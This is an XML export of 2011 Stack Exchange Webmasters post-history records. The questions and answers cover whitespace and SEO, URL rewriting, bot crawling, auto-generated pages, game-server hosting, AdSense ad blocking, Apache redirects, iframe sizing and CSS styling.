  <row Id="28456" PostHistoryTypeId="2" PostId="12452" RevisionGUID="f0637c61-2945-43f5-ba67-5e7ea53fcd86" CreationDate="2011-04-18T14:42:56.613" UserDisplayName="Nick Brunt" Text="White space isn't a problem for search spiders, they just ignore it.  Use a sensible amount to make your code easy to maintain, but don't go overboard.  If you're using tonnes of it, it'll increase the file size, but really, it won't make a big difference.&#xD;&#xA;&#xD;&#xA;[http://buildmysiteforfree.com/seo-tip-27-is-excessive-whitespace-in-the-html-source-bad/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://buildmysiteforfree.com/seo-tip-27-is-excessive-whitespace-in-the-html-source-bad/" />
  <row Id="28457" PostHistoryTypeId="2" PostId="12449" RevisionGUID="cf522251-9aee-46ba-9b69-59adc93b1c41" CreationDate="2011-04-18T14:39:22.287" UserDisplayName="Ant" Text="Google doesn't seem to care so I'd stick with keeping your html clean and spacing stuff out: http://www.youtube.com/watch?v=u55Rn1mYgO8&amp;feature=player_embedded" />
  <row Id="28458" PostHistoryTypeId="2" PostId="12447" RevisionGUID="2b0a2236-21ae-475b-b68c-73bdc4723d43" CreationDate="2011-04-18T14:35:28.523" UserId="5048" Text="I am looking for information regard whitespace and line-breaks in html/xhtml and how it effects SEO. I have found some sources that say that extra white space hurts search engine optomization.&#xD;&#xA;&#xD;&#xA;eg:&#xD;&#xA;&#xD;&#xA;    &lt;div&gt;&#xD;&#xA;        &lt;p&gt;&#xD;&#xA;            Text for a paragraph&#xD;&#xA;        &lt;/p&gt;&#xD;&#xA;        &lt;p&gt;&#xD;&#xA;            More text for another paragraph&#xD;&#xA;        &lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Should be written like this for SEO:&#xD;&#xA;&#xD;&#xA;    &lt;div&gt;&lt;p&gt;Text for a paragraph&lt;/p&gt;&lt;p&gt;More text for another paragraph&lt;/p&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;The second version of the code is emmensly harder to maintain. So I would far prefer to write code like the first example, but of course, SEO should be considered priority.&#xD;&#xA;&#xD;&#xA;Does white space (like spaces and line-breaks) negatively effect SEO rankings?&#xD;&#xA;&#xD;&#xA;Also, if you have any sources for your answer, please post them or explain your reasoning if you are the source.&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="28459" PostHistoryTypeId="1" PostId="12447" RevisionGUID="2b0a2236-21ae-475b-b68c-73bdc4723d43" CreationDate="2011-04-18T14:35:28.523" UserId="5048" Text="Does whitespace in html code effect Seo?" />
  <row Id="28460" PostHistoryTypeId="3" PostId="12447" RevisionGUID="2b0a2236-21ae-475b-b68c-73bdc4723d43" CreationDate="2011-04-18T14:35:28.523" UserId="5048" Text="&lt;html&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="28461" PostHistoryTypeId="17" PostId="12447" RevisionGUID="21029c4f-6374-4e73-98bb-5d38f740476b" CreationDate="2011-04-19T04:52:29.887" UserId="-1" Comment="from http://stackoverflow.com/questions/5704490/does-whitespace-in-html-code-effect-seo" Text="" />
  <row Id="28462" PostHistoryTypeId="17" PostId="12454" RevisionGUID="ee533cb2-a24e-4926-b17e-39a0b38a585b" CreationDate="2011-04-19T04:56:42.090" UserId="-1" Comment="from http://stackoverflow.com/questions/5709525/what-are-benefits-of-url-rewriting/5709571#5709571" Text="" />
  <row Id="28463" PostHistoryTypeId="17" PostId="12455" RevisionGUID="ed3ef657-6011-4ab7-8c73-23834ec88436" CreationDate="2011-04-19T04:56:42.090" UserId="-1" Comment="from http://stackoverflow.com/questions/5709525/what-are-benefits-of-url-rewriting/5709577#5709577" Text="" />
  <row Id="28464" PostHistoryTypeId="17" PostId="12456" RevisionGUID="d0085bb9-b88a-4b3d-afaa-1e209b074e47" CreationDate="2011-04-19T04:56:42.090" UserId="-1" Comment="from http://stackoverflow.com/questions/5709525/what-are-benefits-of-url-rewriting/5709597#5709597" Text="" />
  <row Id="28465" PostHistoryTypeId="2" PostId="12454" RevisionGUID="9246b2a1-6e3f-47bf-a66b-c42bcca6bcb5" CreationDate="2011-04-18T22:19:21.297" UserDisplayName="ninjagecko" Text="I wouldn't so much call it &quot;URL rewriting&quot; so much as &quot;having a sane URL schema&quot;. There is a good and bad place for everything.&#xD;&#xA;&#xD;&#xA;In the example you give, you are absolutely correct; you have an unordered set of 'parameters' as it were, and the key=value&amp;key2=value2&amp;... syntax is excellent for that.&#xD;&#xA;&#xD;&#xA;However with the date example you give, there is a nice **hierarchical structure**. So for example if your site had a monthly listing, you could do `www.magic.com/date/2010/02` for an index page with choice of days, or a yearly listing you could do `www.magic.com/date/2010` for an index of months (and maybe a sidebar with days), and `www.magic.com/date` for an index of years and/or something similar.&#xD;&#xA;&#xD;&#xA;It all comes down to what is elegant. Unnecessary URL rewriting (you gave a perfect example) can be as inelegant as a path shoved into key=value query. And only savvy users will bother manually rewriting the URL.&#xD;&#xA;&#xD;&#xA;As some other answers point out though, one should take care not to leak internals. For example it is very bad practice to do /mypage.ext?internalThing=blah&amp;... because then everyone knows you're using ext. You should not show the extension of your script. Let's say you want to change mypage.php to mypage.py or something; then (as other answers suggest) this will confuse search engines. This is a separate concern than URL rewriting though; for example it would be just as bad to do /mypage.ext/category. It is probably just a correlation that the people who aren't aware of URL rewriting also aren't aware that /mypage.ext?... links are bad practice.&#xD;&#xA;&#xD;&#xA;On the other hand, URL rewriting can require integration with the web server, which may be time better spent on other things." />
  <row Id="28466" PostHistoryTypeId="2" PostId="12456" RevisionGUID="e129a209-caaa-46d4-92de-fa5baddc12c6" CreationDate="2011-04-18T22:22:21.560" UserDisplayName="SzamDev" Text="when I was learning about URL rewriting, I found some good articles&#xD;&#xA;&#xD;&#xA;[An-Overview-of-URL-Rewriting-and-Its-Benefits][1]&#xD;&#xA;&#xD;&#xA;[url-rewriting-benefits-and-implications][2]&#xD;&#xA;&#xD;&#xA;also:&#xD;&#xA;&#xD;&#xA;1.) SEO friendly. If re re engineer the site lets say from asp to aspx then we can keep the same extension but use different technology, so old site rating and ranking remains the same&#xD;&#xA; &#xD;&#xA;2.) Powers the developers for rapid development of web applications or websites. Lets say we have content pages that we manage from CMS and based on them we show in front end, in earlier days we have to create pages at front end but using the url re writing we create single page at front end and use URL re writing to inter prate as n different pages&#xD;&#xA; &#xD;&#xA;3.) Security: It will make site more secure as malicious user will not be able to get to know the structure of the application&#xD;&#xA; &#xD;&#xA;4.) We avoid querystring and use url re writing to pass on data among various page calls&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ezinearticles.com/?An-Overview-of-URL-Rewriting-and-Its-Benefits&amp;id=2507988&#xD;&#xA;  [2]: http://www.meloncreative.co.uk/blog/url-rewriting-benefits-and-implications.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28467" PostHistoryTypeId="2" PostId="12455" RevisionGUID="c1afd2cd-216e-45b2-a0fd-11ab0cdad799" CreationDate="2011-04-18T22:20:01.837" UserDisplayName="Cristian Boariu" Text="One good opinion I like:&#xD;&#xA;&#xD;&#xA;&gt; &quot;I think the prime reasons are&#xD;&#xA;&gt; **usability** and **search engine&#xD;&#xA;&gt; optimization**. From the SEO&#xD;&#xA;&gt; perspective, I think you can get&#xD;&#xA;&gt; keywords into the URL rather than&#xD;&#xA;&gt; ID#'s. For your users, it is easier to&#xD;&#xA;&gt; navigat a site with: &#xD;&#xA;&gt; &#xD;&#xA;&gt; mysite.com/products/tools/hammers/stanley&#xD;&#xA;&gt; &#xD;&#xA;&gt; than:&#xD;&#xA;&gt; &#xD;&#xA;&gt; mysite.com/products.aspx?id=43245&amp;cat=33&amp;subcat=867&amp;manfuacturer=854&#xD;&#xA;&gt; &#xD;&#xA;&gt; The user can just take off sections of&#xD;&#xA;&gt; the URL to navigate up a level. I am&#xD;&#xA;&gt; sure there are a lot of other goof&#xD;&#xA;&gt; reasons, but those are some main&#xD;&#xA;&gt; ones.&quot;&#xD;&#xA;&#xD;&#xA;And from **security** point of view:&#xD;&#xA;&#xD;&#xA;&gt; It will make site more&#xD;&#xA;&gt; secure as malicious user will not be&#xD;&#xA;&gt; able to get to know the structure of&#xD;&#xA;&gt; the application&#xD;&#xA;&#xD;&#xA;And a quote from [Google Blog][1]:&#xD;&#xA;&#xD;&#xA;&gt; Keep in mind, however, that dynamic&#xD;&#xA;&gt; URLs with a large number of parameters&#xD;&#xA;&gt; may be problematic for search engine&#xD;&#xA;&gt; crawlers in general, so *rewriting&#xD;&#xA;&gt; dynamic URLs into user-friendly&#xD;&#xA;&gt; versions is always a good practice*&#xD;&#xA;&gt; when that option is available to you.&#xD;&#xA;&gt; If you can, keeping the number of URL&#xD;&#xA;&gt; parameters to one or two may make it&#xD;&#xA;&gt; more likely that search engines will&#xD;&#xA;&gt; crawl your dynamic urls.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2006/10/update-to-our-webmaster-guidelines.html" />
  <row Id="28468" PostHistoryTypeId="2" PostId="12453" RevisionGUID="f6dea2c6-033e-4ca5-8180-6206e0207c02" CreationDate="2011-04-18T22:14:03.513" UserId="2481" Text="URL rewriting has become quite popular but I think it only adds more complexity to the Web. They call the old fashioned URL's, &quot;dirty URL&quot; so I'll use that term.  &#xD;&#xA;&#xD;&#xA;They argue that with rewriting, it makes the URL more &quot;discoverable&quot; but how is it more discoverable with this URL&#xD;&#xA;&#xD;&#xA;    www.magic.com/date/2010/02/02 &#xD;&#xA;&#xD;&#xA;than this? &#xD;&#xA;&#xD;&#xA;    www.magic.com/date=2010-02-02&#xD;&#xA;&#xD;&#xA;I would think people would discover more with the old fashioned URL than the rewrite URL. &#xD;&#xA;&#xD;&#xA;With the good old fashioned URL using ampersands and equal signs, you are actually telling the search engines how they relate to each other. With slashes, you can't. They don't know that /2010/02/02 is actually a date or how the numbers relate to the /date/. It merely assumes that it's a different directory with different data. With date=2010-02-02, I'd think it'll allow search engines to figure out how they relate to each other. &#xD;&#xA;&#xD;&#xA;Dirty URL's can easily be shortened with URL shortner services but everyone copies URL and paste it, not write it. It's much easier if they write down the dirty URL that's well laid out. goo.gl/8aPtuI seems more cognitively difficult than generic.com/awesome. &#xD;&#xA;&#xD;&#xA;I read argument that search engines stop at URLs that look dynamically generated and I am skeptical. Virtually all websites are dynamically created so why would they stop there? It doesn't make sense. &#xD;&#xA;&#xD;&#xA;I'd also think that dirty URL's can be meta-rich if you do it right.        &#xD;&#xA;    &#xD;&#xA;    www.generic.com/rate=5&amp;name=Allen&amp;sex=m &#xD;&#xA;&#xD;&#xA;and it's much easier for engines to see how they are related than doing this,&#xD;&#xA;&#xD;&#xA;    www.generic/com/rate/5/name/Allen/sex/m. &#xD;&#xA;&#xD;&#xA;I'd like to know what the real advantages are. " />
  <row Id="28469" PostHistoryTypeId="1" PostId="12453" RevisionGUID="f6dea2c6-033e-4ca5-8180-6206e0207c02" CreationDate="2011-04-18T22:14:03.513" UserId="2481" Text="what are benefits of URL rewriting?" />
  <row Id="28470" PostHistoryTypeId="3" PostId="12453" RevisionGUID="f6dea2c6-033e-4ca5-8180-6206e0207c02" CreationDate="2011-04-18T22:14:03.513" UserId="2481" Text="&lt;seo&gt;&lt;url-rewriting&gt;&lt;metadata&gt;" />
  <row Id="28471" PostHistoryTypeId="17" PostId="12453" RevisionGUID="ec6b9c29-75b7-4614-ab36-43b52cabf220" CreationDate="2011-04-19T04:56:42.090" UserId="-1" Comment="from http://stackoverflow.com/questions/5709525/what-are-benefits-of-url-rewriting" Text="" />
  <row Id="28472" PostHistoryTypeId="2" PostId="12457" RevisionGUID="3da2e354-e86f-42a3-b9c1-8d66d0ebf7ea" CreationDate="2011-04-19T05:43:33.203" UserId="6953" Text="while checking server logs, I have seen that often bing bot requests this url. &#xD;&#xA;&#xD;&#xA;**URL:**     /da-net/products/cadpac/cadpac_jis.shtml&#xD;&#xA;&#xD;&#xA;**Browser:** Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)&#xD;&#xA;&#xD;&#xA;Can anyone explain this?" />
  <row Id="28473" PostHistoryTypeId="1" PostId="12457" RevisionGUID="3da2e354-e86f-42a3-b9c1-8d66d0ebf7ea" CreationDate="2011-04-19T05:43:33.203" UserId="6953" Text="why bing bot request this url" />
  <row Id="28474" PostHistoryTypeId="3" PostId="12457" RevisionGUID="3da2e354-e86f-42a3-b9c1-8d66d0ebf7ea" CreationDate="2011-04-19T05:43:33.203" UserId="6953" Text="&lt;bing&gt;" />
  <row Id="28475" PostHistoryTypeId="2" PostId="12458" RevisionGUID="bf8c7adf-66e5-4aa7-976c-b4e28867562b" CreationDate="2011-04-19T05:50:13.270" UserId="5809" Text="I have some pages which are auto-generated.  For example, I run an outdoor site and I have a page like this for different trees:&#xD;&#xA;&#xD;&#xA;http://www.comehike.com/outdoors/trees/trees.php&#xD;&#xA;&#xD;&#xA;This page links to each individual tree page, all of which are very similar in structure.&#xD;&#xA;&#xD;&#xA;Am I in danger of being seen as a content farm?  I am not really doing anything black hat, but I seem to be breaching some punished practices.&#xD;&#xA;&#xD;&#xA;What is the right approach here?  Am I in danger? :)" />
  <row Id="28476" PostHistoryTypeId="1" PostId="12458" RevisionGUID="bf8c7adf-66e5-4aa7-976c-b4e28867562b" CreationDate="2011-04-19T05:50:13.270" UserId="5809" Text="If I have auto-generated pages, am I at risk of being seen as a content farm?" />
  <row Id="28477" PostHistoryTypeId="3" PostId="12458" RevisionGUID="bf8c7adf-66e5-4aa7-976c-b4e28867562b" CreationDate="2011-04-19T05:50:13.270" UserId="5809" Text="&lt;seo&gt;&lt;websites&gt;&lt;contents-farm&gt;" />
  <row Id="28479" PostHistoryTypeId="2" PostId="12460" RevisionGUID="5440b0e0-f704-47ba-9a4a-d1c19486ba16" CreationDate="2011-04-19T06:07:15.923" UserId="6956" Text="Give http://cl.ly a try. Or http://dropbox.com" />
  <row Id="28480" PostHistoryTypeId="25" PostId="12453" RevisionGUID="4592eb52-a77d-4fb2-bf01-7dac75fd0b92" CreationDate="2011-04-19T06:09:17.507" Comment="http://twitter.com/#!/StackWebmasters/status/60223422487203840" />
  <row Id="28481" PostHistoryTypeId="5" PostId="12447" RevisionGUID="abf0226a-495f-44e6-add6-5f3956ae08d2" CreationDate="2011-04-19T06:09:28.447" UserId="1064" Comment="Corrected use of &quot;code&quot; for HTML markup, &quot;effect&quot; for &quot;affect&quot;, and clarified meaning of whitespace" Text="I am looking for information regarding tabs, spaces, and line-breaks in HTML/XHTML markup and whether it affects SEO.&#xD;&#xA;&#xD;&#xA;I have found sources which state that extra white space hurts search engine optimization.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    &lt;div&gt;&#xD;&#xA;        &lt;p&gt;&#xD;&#xA;            Text for a paragraph&#xD;&#xA;        &lt;/p&gt;&#xD;&#xA;        &lt;p&gt;&#xD;&#xA;            More text for another paragraph&#xD;&#xA;        &lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Should be written like this for SEO:&#xD;&#xA;&#xD;&#xA;    &lt;div&gt;&lt;p&gt;Text for a paragraph&lt;/p&gt;&lt;p&gt;More text for another paragraph&lt;/p&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;The second version of the code is much harder to maintain so I would far prefer to write code like the first example, but SEO concerns are the top priority.&#xD;&#xA;&#xD;&#xA;Does white space negatively affect a site's search engine rankings?&#xD;&#xA;&#xD;&#xA;Also, if you have any sources for your answer, please post them or explain your reasoning if you are the source." />
  <row Id="28482" PostHistoryTypeId="4" PostId="12447" RevisionGUID="abf0226a-495f-44e6-add6-5f3956ae08d2" CreationDate="2011-04-19T06:09:28.447" UserId="1064" Comment="Corrected use of &quot;code&quot; for HTML markup, &quot;effect&quot; for &quot;affect&quot;, and clarified meaning of whitespace" Text="Do tabs, spaces, and line-breaks in HTML markup affect search engine optimization?" />
  <row Id="28483" PostHistoryTypeId="6" PostId="12447" RevisionGUID="abf0226a-495f-44e6-add6-5f3956ae08d2" CreationDate="2011-04-19T06:09:28.447" UserId="1064" Comment="Corrected use of &quot;code&quot; for HTML markup, &quot;effect&quot; for &quot;affect&quot;, and clarified meaning of whitespace" Text="&lt;seo&gt;&lt;html&gt;&lt;search-engines&gt;" />
  <row Id="28486" PostHistoryTypeId="2" PostId="12462" RevisionGUID="6f63b492-3ac5-481e-90df-08dd5f4f9ad2" CreationDate="2011-04-19T07:04:38.853" UserId="6957" Text="Check this [http://www.freewebhostingarea.com/][1] .I used this before and i never faced any problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freewebhostingarea.com/" />
  <row Id="28487" PostHistoryTypeId="2" PostId="12463" RevisionGUID="15014ace-456c-4d71-955d-a1801a72d1e6" CreationDate="2011-04-19T07:07:40.730" UserId="2748" Text="Tabs, Line Breaks, and Spaces, are for **readability**. It will not affect any SE. " />
  <row Id="28488" PostHistoryTypeId="2" PostId="12464" RevisionGUID="6d07c520-6028-49f2-8fd9-f68e4d7dfe88" CreationDate="2011-04-19T07:24:06.850" UserId="4461" Text="&quot;Auto-generated&quot; content is viewed differently from &quot;spun&quot; content (and article taken and re-worded), or other low-value editorial content.&#xD;&#xA;&#xD;&#xA;I'd say your content would be looked at as being &quot;**thin**&quot;, in that there's very *little* actual content.&#xD;&#xA;&#xD;&#xA;I wouldn't imagine you'd get *penalized* per se, but i'd be surprised if that content made it into the primary index. There are plenty of examples of this type of interstitial/navigational pages online - you should just expect that they don't get indexed, rather than be devalued because of them.&#xD;&#xA;&#xD;&#xA;I'd suggest you look at your site architecture and UI in terms of allowing this content to be aggregated or served without the added number of clicks (using AJAX or hide/show) etc. There should be plenty of examples to follow..." />
  <row Id="28489" PostHistoryTypeId="2" PostId="12465" RevisionGUID="c5c4576f-97a0-4742-93cf-9c9ed7c10df2" CreationDate="2011-04-19T07:49:05.983" UserId="6955" Text="I am basically looking for a cheap hosting provider to host a Call of Duty game server in India. But this is not a localized question actually as you will see when you go through the complete question.&#xD;&#xA;&#xD;&#xA;**Essential Features**   &#xD;&#xA;&#xD;&#xA;- The server *must* be physically located in India otherwise gaming experience is very poor due to the large delay/ping. Your enemy does not get killed even if it looks like your bullet hit him. For more details check my question http://gaming.stackexchange.com/questions/15803/good-public-dedicated-call-of-duty-servers-list-for-players-in-india-please&#xD;&#xA;&#xD;&#xA;- The game needs a windows platform. &#xD;&#xA;- The game should be running all the time. &#xD;&#xA;- Not a big issue if the hosting cost is not low. But it should allow me to set up user authentication later so that I can allow only paid users to play and recover the expenses/offer professional paid gaming services. &#xD;&#xA;&#xD;&#xA;**Further details**  &#xD;&#xA;This is basically an effort to solve the problem of absence of dedicated-public multiplayer game servers in India. This is not a problem specific to India but to many geographies of the world where gaming culture is not mature yet. For more details check this question and see if you can help there - &#xD;&#xA;&#xD;&#xA;http://gaming.stackexchange.com/questions/20233/ideas-or-solutions-to-resolve-the-issue-of-absence-of-local-dedicated-public-mult&#xD;&#xA;&#xD;&#xA;Even http://www.gametracker.com does not have any listed dedicated server in India, nor does it offer hosting for one.&#xD;&#xA;&#xD;&#xA;**Questions**  &#xD;&#xA;&#xD;&#xA; - What is my best option here. &#xD;&#xA; - Additionally, I am also looking some web space to host my personal projects. The projects may go live in near future and I may need to scale up resources. But right now I am just a beginner with no live websites. I basically work on LAMP projects (Linux Apache Mysql PHP). It would be nice if one hosting solves all my requirements. I am very new to hosting fundamentals and it sounds as difficult to me as investments. I checked a lot of questions here like - &#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/274/how-to-choose-between-web-hosting-and-cloud-hosting&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/151/what-should-i-consider-when-choosing-a-hosting-provider&#xD;&#xA;&#xD;&#xA;But I am still clueless. Is Amazon EC2 hosting a possible solution? &#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="28490" PostHistoryTypeId="1" PostId="12465" RevisionGUID="c5c4576f-97a0-4742-93cf-9c9ed7c10df2" CreationDate="2011-04-19T07:49:05.983" UserId="6955" Text="Hosting a public dedicated call of duty server with user authentication" />
  <row Id="28491" PostHistoryTypeId="3" PostId="12465" RevisionGUID="c5c4576f-97a0-4742-93cf-9c9ed7c10df2" CreationDate="2011-04-19T07:49:05.983" UserId="6955" Text="&lt;web-hosting&gt;&lt;server&gt;&lt;cloud-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="28492" PostHistoryTypeId="2" PostId="12466" RevisionGUID="420e9208-344f-4d9c-a59d-1f250b43e083" CreationDate="2011-04-19T07:51:50.660" UserId="1064" Text="&gt; To allow or block all ads for a&#xD;&#xA;&gt; particular advertiser, locate an ad&#xD;&#xA;&gt; group related to that advertiser in&#xD;&#xA;&gt; the Ad Review Center. In the Review&#xD;&#xA;&gt; settings drop-down, choose either&#xD;&#xA;&gt; 'Allow all ads from this advertiser'&#xD;&#xA;&gt; or 'Block all ads from this&#xD;&#xA;&gt; advertiser', depending on your&#xD;&#xA;&gt; preference.&#xD;&#xA;&#xD;&#xA;[How do I allow or block all ads for selected advertisers?][1] topic at Google AdSense documentation&#xD;&#xA;&#xD;&#xA;AdSense's [Filtering and Blocking Ads][2] documentation provides further instructions for identifying and blocking advertisers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=44116&#xD;&#xA;  [2]: http://www.google.com/support/adsense/bin/topic.py?topic=154" />
  <row Id="28493" PostHistoryTypeId="4" PostId="12443" RevisionGUID="f76be3c2-bc26-473e-bf1f-063cf273be28" CreationDate="2011-04-19T07:53:37.557" UserId="1064" Comment="Updated title to reflect question contents" Text="How do I block a Google AdSense advertiser's ads from appearing on my site?" />
  <row Id="28494" PostHistoryTypeId="4" PostId="12465" RevisionGUID="ce6c4898-2875-4c29-bd35-e26dc202fb0a" CreationDate="2011-04-19T07:57:46.447" UserId="6955" Comment="edited title; added 140 characters in body" Text="Hosting a public dedicated call of duty game server with user authentication" />
  <row Id="28495" PostHistoryTypeId="5" PostId="12465" RevisionGUID="ce6c4898-2875-4c29-bd35-e26dc202fb0a" CreationDate="2011-04-19T07:57:46.447" UserId="6955" Comment="edited title; added 140 characters in body" Text="I am basically looking for a cheap hosting provider to host a Call of Duty game server in India. But this is not a localized question actually as you will see when you go through the complete question.&#xD;&#xA;&#xD;&#xA;**Essential Features**   &#xD;&#xA;&#xD;&#xA;- The server *must* be physically located in India otherwise gaming experience is very poor due to the large delay/ping. Your enemy does not get killed even if it looks like your bullet hit him. For more details check my question http://gaming.stackexchange.com/questions/15803/good-public-dedicated-call-of-duty-servers-list-for-players-in-india-please&#xD;&#xA;&#xD;&#xA;- The game needs a windows platform. &#xD;&#xA;- The game should be running all the time. &#xD;&#xA;- Not a big issue if the hosting cost is not low. But it should allow me to set up user authentication later so that I can allow only paid users to play and recover the expenses/offer professional paid gaming services. &#xD;&#xA;&#xD;&#xA;**Further details**  &#xD;&#xA;This is basically an effort to solve the problem of absence of dedicated-public multiplayer game servers in India. This is not a problem specific to India but to many geographies of the world where gaming culture is not mature yet. For more details check this question and see if you can help there - &#xD;&#xA;&#xD;&#xA;http://gaming.stackexchange.com/questions/20233/ideas-or-solutions-to-resolve-the-issue-of-absence-of-local-dedicated-public-mult&#xD;&#xA;&#xD;&#xA;Even http://www.gametracker.com does not have any listed dedicated server in India, nor does it offer hosting for one.&#xD;&#xA;&#xD;&#xA;**Questions**  &#xD;&#xA;&#xD;&#xA; - What is my best option here. &#xD;&#xA; - Additionally, I am also looking some web space to host my personal projects. The projects may go live in near future and I may need to scale up resources. But right now I am just a beginner with no live websites. I basically work on LAMP projects (Linux Apache Mysql PHP). It would be nice if one hosting solves all my requirements. I am very new to hosting fundamentals and it sounds as difficult to me as investments. I checked a lot of questions here like - &#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/274/how-to-choose-between-web-hosting-and-cloud-hosting&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/151/what-should-i-consider-when-choosing-a-hosting-provider&#xD;&#xA;&#xD;&#xA;But I am still clueless. Is Amazon EC2 hosting a possible solution? As per http://aws.amazon.com/ec2/faqs/#What_operating_system_environments_are_supported Windows server as well many linux OS are supported. &#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="28496" PostHistoryTypeId="4" PostId="12465" RevisionGUID="06d54ade-0096-4407-922f-f20cc8dd3a31" CreationDate="2011-04-19T08:16:38.980" UserId="6955" Comment="edited title" Text="Hosting a public dedicated game server with user authentication" />
  <row Id="28497" PostHistoryTypeId="2" PostId="12467" RevisionGUID="50d58ed7-dcaa-45ac-9786-1f363bb9f7f3" CreationDate="2011-04-19T08:18:18.337" UserId="480" Text="If I read correctly you want links to sub.domain.com/path to be redirected to domain.com/path and not just domain.com (may have the naked/sub domains the wrong way around but it's the same principle).&#xD;&#xA;&#xD;&#xA;Generally this is called a relative redirect and can be done with an Apache rule like:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^http://sub\.domain\.com(/.*)$ http://domain.com$1 [L,R]&#xD;&#xA;&#xD;&#xA;You don't need the L option, it's just stops processing further rules in case something else conflicts, but you need the R (or R=302) to redirect to another domain. You may also want the redirects to be cacheable by setting long distance expiry dates, etc.&#xD;&#xA;&#xD;&#xA;If you want the subdomain part to be the path you can use:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^http://(.*)\.domain\.com(/.*)$ http://domain.com/$1$2 [L,R]&#xD;&#xA;" />
  <row Id="28498" PostHistoryTypeId="2" PostId="12468" RevisionGUID="c1ab8c0c-0161-4d74-bc93-9628d551a66a" CreationDate="2011-04-19T08:29:22.743" UserId="6230" Text="I have a retail store site, no online sales, which displays the webpage of our supplier in a &quot;frame&quot; in order to have the most accurate and up to date information for our customers. &#xD;&#xA;&#xD;&#xA;My issue is that the size of the page it is pulling in doesn't fit in the frame. It looks pretty poor, and part of the content is obscured. Is there a way to scale the content drawn in to the size of the frame?&#xD;&#xA;&#xD;&#xA;The same site also has an intermittent issue with the Flash banner loading. When it doesn't load, the layout of the header on the page is awful. Any ideas there will also be appreciated.&#xD;&#xA;&#xD;&#xA;A link to the page is below. There are several pages on the site that have similar issues. &#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://www.wbs.ae/WindowDetail.aspx?R=http://www.scott-sports.com/gb_en/team/127/xc_race&amp;B=MOUNTAIN_BIKE&amp;U=Mountain.aspx" />
  <row Id="28499" PostHistoryTypeId="1" PostId="12468" RevisionGUID="c1ab8c0c-0161-4d74-bc93-9628d551a66a" CreationDate="2011-04-19T08:29:22.743" UserId="6230" Text="Resize content for &quot;frame&quot; on .aspx page which draws product content from suppliers' page" />
  <row Id="28500" PostHistoryTypeId="3" PostId="12468" RevisionGUID="c1ab8c0c-0161-4d74-bc93-9628d551a66a" CreationDate="2011-04-19T08:29:22.743" UserId="6230" Text="&lt;asp.net&gt;&lt;iframe&gt;&lt;frameset&gt;" />
  <row Id="28501" PostHistoryTypeId="2" PostId="12469" RevisionGUID="3aa19b8a-1682-41b2-9172-912e81156f57" CreationDate="2011-04-19T09:02:16.243" UserId="5112" Text="I would like to know if its ok to use class and style attributes on the same element?&#xD;&#xA;&#xD;&#xA;I also want to know if my page will be faster when I use class and style attributes on the same element instead two different classes, for example:&#xD;&#xA;&#xD;&#xA;I got two divs, one with `style=&quot;width:680px;display:table;&quot;` and the second with `style=&quot;width:680px;display:table;margin-top:20px;&quot;`, I can make one class called &quot;tst&quot; &gt; `.tst{width:680px;display:table;}` and I will use the class in both divs, but in the second one I will also add `style=&quot;margin-top:20px;&quot;`." />
  <row Id="28502" PostHistoryTypeId="1" PostId="12469" RevisionGUID="3aa19b8a-1682-41b2-9172-912e81156f57" CreationDate="2011-04-19T09:02:16.243" UserId="5112" Text="CSS use class and style on the same element, good or not?" />
  <row Id="28503" PostHistoryTypeId="3" PostId="12469" RevisionGUID="3aa19b8a-1682-41b2-9172-912e81156f57" CreationDate="2011-04-19T09:02:16.243" UserId="5112" Text="&lt;css&gt;" />
  <row Id="28504" PostHistoryTypeId="5" PostId="12469" RevisionGUID="50899d39-b7d8-487d-8794-79994b1bb33e" CreationDate="2011-04-19T09:07:16.880" UserId="5112" Comment="added 287 characters in body" Text="I would like to know if its ok to use class and style attributes on the same element?&#xD;&#xA;&#xD;&#xA;I also want to know if my page will be faster when I use class and style attributes on the same element instead two different classes, for example:&#xD;&#xA;&#xD;&#xA;I got two divs, one with `style=&quot;width:680px;display:table;&quot;` and the second with `style=&quot;width:680px;display:table;margin-top:20px;&quot;`, I can make one class called &quot;tst&quot; &gt; `.tst{width:680px;display:table;}` and I will use the class in both divs, but in the second one I will also add `style=&quot;margin-top:20px;&quot;`.&#xD;&#xA;&#xD;&#xA;EDIT: I got another suggestion, to have two classes but one will hold `width:680px;display:table;` and the second one will hold `margin-top:20px;` and then I will use in the second div in both classes &gt; `class=&quot;class1 class2&quot;`.&#xD;&#xA;&#xD;&#xA;Which way will cause my page to load faster and why?" />
  <row Id="28505" PostHistoryTypeId="25" PostId="12446" RevisionGUID="53b39844-1d9c-45fb-9629-6b7db5aba71c" CreationDate="2011-04-19T09:09:17.720" Comment="http://twitter.com/#!/StackWebmasters/status/60268722446811136" />
